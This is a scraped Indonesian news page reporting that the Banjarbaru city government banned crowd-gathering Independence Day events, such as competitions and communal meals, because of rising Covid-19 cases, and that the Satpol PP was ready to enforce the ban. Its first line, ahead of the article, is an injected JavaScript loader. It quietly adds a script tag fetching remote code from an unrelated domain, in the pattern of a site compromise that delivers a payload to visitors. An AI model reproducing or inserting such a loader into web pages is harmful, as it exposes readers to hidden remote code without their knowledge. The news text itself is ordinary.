(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Lomba 17-an Dilarang, Satpol PP Banjarbaru Siap Turun Lapangan


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru melarang perayaan peringatan HUT ke-75 Kemerdekaan Republik Indonesia, pada 17 Agustus mendatang.

Hal itu sebagaimana yang tertuang dalam surat imbauan bernomor 003.3.003/HUT ke-75 RI, yang diterbitkan Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan.

Kebijakan ini sendiri diambil mempertimbangkan kasus Covid-19 di Banjarbaru yang tiap hari semakin meningkat. Sehingga, diperlukan adanya peran masyarakat dalam memutus rantai penularan virus.

“Kita melarang diadakannya perayaan hari kemerdakaan dengan mengumpulkan orang banyak. Contohnya acara hiburan atau lomba-lomba tujuhbelasan, seperti panjat pinang dan lain-lain. Termasuk juga acara masak dan makan bersama juga dilarang,” kata Kepala Bagian Humas dan Protokol Setda Kota Banjarbaru, Dedy Sutoyo.

Untuk memastikan imbauan ini terlaksana, kata Dedy, Pemko akan melakukan pengawasan saat perayaan HUT RI, menyasar tiap-tiap kelurahan. Kendati demikian, pengawasan di lapangan tersebut tetap akan mengedepankan tindakan persuasif.

“Apabila ada yang melaksakan kegiatan perayaan Hari Kemerdekaan mengumpulkan orang, maka akan ditegur. Tentu teguran melalui komunikasi yang baik dengan masyarakat,” ujarnya.

Menilik bagaimana penegakan kebijakan ini nantinya, Satpol PP Banjarbaru belum mendapatkan arahan khusus terkait pegawasan tersebut. Namum begitu, PPNS Seksi Opsdal Yanto Hidayat, mengaku siap apabila pihaknya ditugaskan untuk melakukan pengawasan ke lingkungan masyarakat.

“Kalau saat ini kita belum mendapat arahan dari pimpinan. Tapi, saya pastikan Satpol PP Banjarbaru siap apabila sudah diperintahkan,” ujarnya, saat dihubungi Kanalkalimantan.com

Yanto sendiri meyakini bahwa himbauan tentang larangan menggelar perayaan hari kemerdekaan telah tersampaikan ke pihak Kelurahan maupun ke ranah RT. Maka, seharusnya imbuan ini sendiri telah disosialisasikan masyarakat.

“Seharusnya dari pihak RT sudah menyampaikan ke masyarakat agar tidak menyelenggarkan rangkaian kegiatan lomba, mengingat kondisi pandemi masih rawan penularan,” terangnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

25 menit ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

33 menit ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

43 menit ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

4 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

5 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

5 jam ago

This website uses cookies.